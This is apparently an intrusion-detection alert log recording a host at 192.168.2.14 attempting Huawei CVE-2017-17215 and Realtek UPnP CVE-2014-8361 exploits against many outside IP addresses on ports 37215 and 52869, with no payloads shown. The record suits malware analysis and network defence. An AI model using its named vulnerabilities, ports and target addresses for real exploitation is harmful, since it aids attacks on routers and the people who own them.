07/20/24-23:01:29.508708	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36212	52869	192.168.2.14	139.231.65.139
07/20/24-23:01:11.454417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48940	37215	192.168.2.14	157.87.10.123
07/20/24-23:01:02.409019	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60986	37215	192.168.2.14	43.186.3.173
07/20/24-23:01:02.411645	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40624	37215	192.168.2.14	157.92.46.65
07/20/24-23:01:13.332173	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47232	52869	192.168.2.14	62.62.247.176
07/20/24-23:01:33.036114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39130	37215	192.168.2.14	101.101.61.174
07/20/24-23:01:25.278588	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45418	37215	192.168.2.14	83.5.165.222
07/20/24-23:01:34.111983	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57580	52869	192.168.2.14	24.110.26.135
07/20/24-23:01:33.271159	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57060	52869	192.168.2.14	14.235.67.126
07/20/24-23:01:19.227537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58432	37215	192.168.2.14	157.168.145.158
07/20/24-23:01:19.227537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38798	37215	192.168.2.14	120.151.178.30
07/20/24-23:01:34.690310	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53092	52869	192.168.2.14	138.235.159.241
07/20/24-23:01:19.227537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36282	37215	192.168.2.14	196.41.223.61
07/20/24-23:01:34.907114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58900	52869	192.168.2.14	139.72.178.53
07/20/24-23:01:22.790734	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57820	37215	192.168.2.14	157.30.174.147
07/20/24-23:01:05.911930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43892	37215	192.168.2.14	157.159.57.3
07/20/24-23:01:33.069192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36232	37215	192.168.2.14	197.184.132.63
07/20/24-23:01:23.032933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42106	52869	192.168.2.14	208.42.117.191
07/20/24-23:01:05.902118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55190	37215	192.168.2.14	41.43.224.222
07/20/24-23:01:34.949876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52072	52869	192.168.2.14	210.67.14.178
07/20/24-23:01:05.895886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39332	37215	192.168.2.14	96.50.39.180
07/20/24-23:01:32.765427	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60128	52869	192.168.2.14	104.41.121.72
07/20/24-23:01:02.411663	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50544	37215	192.168.2.14	60.162.189.105
07/20/24-23:01:33.056745	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48204	37215	192.168.2.14	131.10.23.131
07/20/24-23:01:23.015463	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35700	52869	192.168.2.14	184.171.106.251
07/20/24-23:01:02.414527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57698	37215	192.168.2.14	157.177.125.202
07/20/24-23:01:25.280228	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47816	52869	192.168.2.14	222.219.107.170
07/20/24-23:01:06.674408	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46188	52869	192.168.2.14	36.198.164.211
07/20/24-23:01:33.060990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45540	37215	192.168.2.14	197.194.34.140
07/20/24-23:01:13.329423	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57202	52869	192.168.2.14	211.192.130.220
07/20/24-23:01:11.477507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35438	37215	192.168.2.14	157.96.17.87
07/20/24-23:01:11.476805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37712	37215	192.168.2.14	197.222.69.163
07/20/24-23:01:05.873034	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36454	52869	192.168.2.14	182.207.82.188
07/20/24-23:01:07.662924	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46062	37215	192.168.2.14	197.29.25.95
07/20/24-23:01:24.075554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48776	52869	192.168.2.14	125.202.144.54
07/20/24-23:01:07.684526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52702	37215	192.168.2.14	197.234.163.92
07/20/24-23:01:24.078416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34982	52869	192.168.2.14	107.71.221.19
07/20/24-23:01:14.397054	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35772	37215	192.168.2.14	41.93.5.254
07/20/24-23:01:23.160246	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49738	52869	192.168.2.14	174.113.101.241
07/20/24-23:01:33.094838	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49174	37215	192.168.2.14	161.62.69.95
07/20/24-23:01:37.227353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57094	37215	192.168.2.14	41.250.30.224
07/20/24-23:01:06.552778	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53066	52869	192.168.2.14	36.44.157.9
07/20/24-23:01:34.914909	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50944	52869	192.168.2.14	148.218.221.20
07/20/24-23:01:34.931386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59206	52869	192.168.2.14	124.185.245.199
07/20/24-23:01:19.233507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48254	37215	192.168.2.14	213.95.127.113
07/20/24-23:01:25.473995	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46966	52869	192.168.2.14	60.101.77.2
07/20/24-23:01:28.219332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46784	37215	192.168.2.14	85.45.111.26
07/20/24-23:01:28.143148	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36830	37215	192.168.2.14	41.214.187.126
07/20/24-23:01:14.416273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55888	37215	192.168.2.14	100.194.101.29
07/20/24-23:01:07.676921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54522	37215	192.168.2.14	157.86.212.247
07/20/24-23:01:05.895754	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55814	37215	192.168.2.14	197.198.173.107
07/20/24-23:01:13.331580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53624	52869	192.168.2.14	71.96.116.185
07/20/24-23:01:05.893818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49206	37215	192.168.2.14	41.93.226.90
07/20/24-23:01:25.298710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34252	37215	192.168.2.14	197.206.72.43
07/20/24-23:01:07.684526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44028	37215	192.168.2.14	156.148.239.165
07/20/24-23:01:33.614419	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33630	52869	192.168.2.14	189.27.2.190
07/20/24-23:01:25.185227	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53594	52869	192.168.2.14	94.45.75.174
07/20/24-23:01:13.329544	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44450	52869	192.168.2.14	200.181.183.183
07/20/24-23:01:33.879619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43790	52869	192.168.2.14	94.172.116.232
07/20/24-23:01:19.225050	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34532	37215	192.168.2.14	41.109.119.217
07/20/24-23:01:11.472602	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33866	37215	192.168.2.14	202.192.16.30
07/20/24-23:01:02.414528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60422	37215	192.168.2.14	157.250.180.168
07/20/24-23:01:33.059039	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37818	37215	192.168.2.14	157.155.178.232
07/20/24-23:01:02.413579	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56066	37215	192.168.2.14	197.77.202.247
07/20/24-23:01:22.781976	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48650	37215	192.168.2.14	43.107.243.32
07/20/24-23:01:37.199306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41162	37215	192.168.2.14	197.49.30.177
07/20/24-23:01:22.779153	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34236	37215	192.168.2.14	157.78.100.12
07/20/24-23:01:28.219332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56264	37215	192.168.2.14	197.156.152.13
07/20/24-23:01:06.285046	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59942	52869	192.168.2.14	178.57.58.147
07/20/24-23:01:13.330072	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34906	52869	192.168.2.14	130.69.123.40
07/20/24-23:01:07.676921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35910	37215	192.168.2.14	157.84.150.154
07/20/24-23:01:29.181762	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47540	52869	192.168.2.14	60.101.77.2
07/20/24-23:01:14.397066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33072	37215	192.168.2.14	79.163.84.245
07/20/24-23:01:28.216939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49386	37215	192.168.2.14	216.194.71.61
07/20/24-23:01:31.127464	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40390	52869	192.168.2.14	167.127.222.117
07/20/24-23:01:14.397263	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38260	37215	192.168.2.14	41.83.18.173
07/20/24-23:01:06.860208	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45434	52869	192.168.2.14	190.120.169.109
07/20/24-23:01:25.285323	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59986	37215	192.168.2.14	197.175.131.141
07/20/24-23:01:14.399761	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41176	37215	192.168.2.14	157.223.41.37
07/20/24-23:01:32.096393	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38456	52869	192.168.2.14	38.255.110.243
07/20/24-23:01:22.854824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40104	52869	192.168.2.14	157.94.246.106
07/20/24-23:01:25.295701	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55254	37215	192.168.2.14	41.9.245.89
07/20/24-23:01:05.536738	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46728	52869	192.168.2.14	20.43.107.217
07/20/24-23:01:24.075564	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56036	52869	192.168.2.14	84.167.36.221
07/20/24-23:01:02.411645	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57334	37215	192.168.2.14	157.136.249.217
07/20/24-23:01:05.920528	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38800	37215	192.168.2.14	174.109.179.10
07/20/24-23:01:37.167957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35850	37215	192.168.2.14	157.107.88.82
07/20/24-23:01:02.410541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59604	37215	192.168.2.14	41.99.10.85
07/20/24-23:01:02.412914	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50604	37215	192.168.2.14	199.150.19.53
07/20/24-23:01:29.170361	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49984	52869	192.168.2.14	66.251.168.249
07/20/24-23:01:11.478032	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54276	37215	192.168.2.14	41.33.138.117
07/20/24-23:01:06.893375	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39058	52869	192.168.2.14	173.171.125.50
07/20/24-23:01:11.485692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55196	37215	192.168.2.14	213.51.43.95
07/20/24-23:01:22.769838	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49096	37215	192.168.2.14	197.85.103.215
07/20/24-23:01:29.176022	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38314	52869	192.168.2.14	118.150.115.134
07/20/24-23:01:07.680629	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52560	37215	192.168.2.14	125.104.15.142
07/20/24-23:01:37.222600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59382	37215	192.168.2.14	197.173.79.219
07/20/24-23:01:05.895754	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38858	37215	192.168.2.14	157.73.176.224
07/20/24-23:01:07.676921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33826	37215	192.168.2.14	197.33.157.33
07/20/24-23:01:28.216082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42630	37215	192.168.2.14	4.75.218.237
07/20/24-23:01:32.478080	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42640	52869	192.168.2.14	167.136.67.125
07/20/24-23:01:05.898214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48926	37215	192.168.2.14	200.159.126.71
07/20/24-23:01:25.283485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51298	37215	192.168.2.14	221.79.184.211
07/20/24-23:01:33.840995	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56826	52869	192.168.2.14	74.98.6.90
07/20/24-23:01:33.043558	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57248	37215	192.168.2.14	157.234.215.172
07/20/24-23:01:13.330116	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33078	52869	192.168.2.14	27.79.119.12
07/20/24-23:01:13.331144	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51914	52869	192.168.2.14	206.233.127.191
07/20/24-23:01:07.363470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56402	52869	192.168.2.14	102.223.154.160
07/20/24-23:01:05.911930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42442	37215	192.168.2.14	84.58.208.79
07/20/24-23:01:34.914910	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54968	52869	192.168.2.14	202.94.49.200
07/20/24-23:01:07.666600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53446	37215	192.168.2.14	222.112.36.27
07/20/24-23:01:32.111719	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43070	52869	192.168.2.14	192.231.43.185
07/20/24-23:01:34.919559	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46974	52869	192.168.2.14	173.48.24.57
07/20/24-23:01:32.573916	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44588	52869	192.168.2.14	199.206.179.25
07/20/24-23:01:06.853506	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54450	52869	192.168.2.14	209.180.225.131
07/20/24-23:01:07.664911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37038	37215	192.168.2.14	197.9.74.194
07/20/24-23:01:24.075920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35942	52869	192.168.2.14	184.171.106.251
07/20/24-23:01:28.143529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41218	37215	192.168.2.14	157.201.1.4
07/20/24-23:01:24.508331	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34050	52869	192.168.2.14	39.30.35.11
07/20/24-23:01:33.050087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40538	37215	192.168.2.14	197.176.87.202
07/20/24-23:01:19.231228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45324	37215	192.168.2.14	41.241.21.214
07/20/24-23:01:07.658956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59164	37215	192.168.2.14	41.25.63.79
07/20/24-23:01:05.920529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45310	37215	192.168.2.14	211.150.3.47
07/20/24-23:01:33.059039	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60986	37215	192.168.2.14	86.39.55.1
07/20/24-23:01:25.287093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50206	37215	192.168.2.14	41.75.217.99
07/20/24-23:01:05.892501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47282	37215	192.168.2.14	175.136.209.167
07/20/24-23:01:07.684526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41188	37215	192.168.2.14	197.50.99.150
07/20/24-23:01:25.298710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44148	37215	192.168.2.14	197.248.16.87
07/20/24-23:01:14.440842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45696	37215	192.168.2.14	197.160.114.28
07/20/24-23:01:05.895934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33982	37215	192.168.2.14	157.155.48.39
07/20/24-23:01:14.400300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60388	37215	192.168.2.14	41.146.179.63
07/20/24-23:01:19.223034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33640	37215	192.168.2.14	109.187.96.167
07/20/24-23:01:02.411076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59868	37215	192.168.2.14	118.0.129.46
07/20/24-23:01:34.940230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44122	52869	192.168.2.14	177.131.193.232
07/20/24-23:01:33.094838	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44230	37215	192.168.2.14	157.181.100.135
07/20/24-23:01:24.833522	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36028	52869	192.168.2.14	166.213.219.123
07/20/24-23:01:33.376807	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45678	52869	192.168.2.14	144.32.157.121
07/20/24-23:01:33.056745	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47358	37215	192.168.2.14	157.55.49.211
07/20/24-23:01:07.662924	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40246	37215	192.168.2.14	157.140.241.183
07/20/24-23:01:11.467529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53112	37215	192.168.2.14	41.55.85.107
07/20/24-23:01:25.282254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54748	37215	192.168.2.14	197.201.136.184
07/20/24-23:01:33.044521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56858	37215	192.168.2.14	108.4.150.168
07/20/24-23:01:02.411663	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47626	37215	192.168.2.14	41.160.188.126
07/20/24-23:01:19.334332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58714	37215	192.168.2.14	197.44.132.242
07/20/24-23:01:05.577225	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59540	52869	192.168.2.14	128.98.160.122
07/20/24-23:01:13.330651	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39940	52869	192.168.2.14	156.230.140.45
07/20/24-23:01:13.329793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42822	52869	192.168.2.14	64.117.200.225
07/20/24-23:01:25.283565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46362	37215	192.168.2.14	41.114.237.10
07/20/24-23:01:05.859411	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45096	52869	192.168.2.14	181.129.237.7
07/20/24-23:01:25.283565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46468	37215	192.168.2.14	108.68.173.47
07/20/24-23:01:25.231958	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45626	37215	192.168.2.14	197.33.204.45
07/20/24-23:01:02.414137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57054	37215	192.168.2.14	197.77.31.163
07/20/24-23:01:07.682290	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39184	37215	192.168.2.14	41.67.230.166
07/20/24-23:01:19.225050	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44066	37215	192.168.2.14	157.4.192.144
07/20/24-23:01:24.987343	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58176	52869	192.168.2.14	167.169.213.136
07/20/24-23:01:05.539673	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43108	52869	192.168.2.14	160.191.28.144
07/20/24-23:01:24.453373	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55386	52869	192.168.2.14	216.167.162.18
07/20/24-23:01:33.060990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38648	37215	192.168.2.14	156.104.77.122
07/20/24-23:01:14.401003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54202	37215	192.168.2.14	41.234.173.201
07/20/24-23:01:30.632085	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57702	52869	192.168.2.14	124.185.245.199
07/20/24-23:01:11.483526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41768	37215	192.168.2.14	41.139.78.105
07/20/24-23:01:19.221490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40510	37215	192.168.2.14	157.203.191.120
07/20/24-23:01:28.170987	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52508	37215	192.168.2.14	197.138.54.130
07/20/24-23:01:23.155941	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45930	52869	192.168.2.14	186.224.19.191
07/20/24-23:01:05.902118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41162	37215	192.168.2.14	197.221.83.254
07/20/24-23:01:19.334827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40756	37215	192.168.2.14	197.195.213.197
07/20/24-23:01:28.200134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57240	37215	192.168.2.14	41.185.193.64
07/20/24-23:01:11.465612	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58640	37215	192.168.2.14	197.215.212.184
07/20/24-23:01:14.416273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52906	37215	192.168.2.14	41.255.114.130
07/20/24-23:01:19.220430	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33148	37215	192.168.2.14	197.160.25.51
07/20/24-23:01:19.225050	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54664	37215	192.168.2.14	157.95.181.167
07/20/24-23:01:33.030188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51522	37215	192.168.2.14	41.221.60.226
07/20/24-23:01:22.794319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48486	37215	192.168.2.14	197.3.243.86
07/20/24-23:01:37.166003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37296	37215	192.168.2.14	157.153.155.34
